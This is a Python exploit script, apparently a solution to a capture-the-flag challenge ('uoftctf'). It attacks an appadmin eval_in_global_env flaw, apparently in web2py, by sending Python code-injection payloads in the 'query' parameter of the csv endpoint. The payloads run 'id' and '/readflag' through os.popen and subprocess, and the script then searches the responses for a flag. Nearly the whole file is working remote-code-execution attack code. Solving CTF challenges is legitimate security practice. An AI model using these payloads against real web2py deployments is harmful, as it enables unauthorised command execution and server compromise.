#!/usr/bin/env python3
"""
Exploit appadmin RCE via eval_in_global_env
"""

import requests
import urllib.parse
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

BASE_URL = "https://localhost:5000"

# The vulnerability: appadmin.py line 113-115
# def get_query(request):
#     try:
#         return eval_in_global_env(request.vars.query)
#     except Exception:
#         return None
#
# And eval_in_global_env does:
# exec ('_ret=%s' % text, {}, global_env)

# Exploit payload - we need to inject Python code
# The format is: _ret=<our_code>
# But we control the whole text parameter

# Test 1: Simple command execution
payload1 = "__import__('os').popen('id').read()"

# Test 2: Read flag
payload2 = "__import__('os').popen('/readflag').read()"

# Test 3: Alternative readflag
payload3 = "__import__('subprocess').check_output(['/readflag'], text=True)"

def test_exploit(query_payload, description):
    print(f"\n[*] Testing: {description}")
    print(f"    Payload: {query_payload[:80]}...")
    
    # Try the csv endpoint first
    url = f"{BASE_URL}/welcome/appadmin/csv/db?query={urllib.parse.quote(query_payload)}"
    
    try:
        response = requests.get(url, verify=False, timeout=5)
        print(f"    Status: {response.status_code}")
        print(f"    Response length: {len(response.text)}")
        
        if response.status_code == 200:
            print(f"    Response: {response.text[:500]}")
            
            # Check for flag
            if 'uoftctf{' in response.text or 'flag{' in response.text:
                print(f"\n[!!!] FLAG FOUND!")
                print(f"[!!!] {response.text}")
                return True
                
    except Exception as e:
        print(f"    Error: {e}")
    
    return False

print("=" * 60)
print("Exploiting appadmin eval_in_global_env RCE")
print("=" * 60)

# Test if we can execute commands
test_exploit(payload1, "Execute 'id' command")
test_exploit(payload2, "Execute '/readflag' command")
test_exploit(payload3, "Execute '/readflag' with subprocess")

print("\n" + "=" * 60)
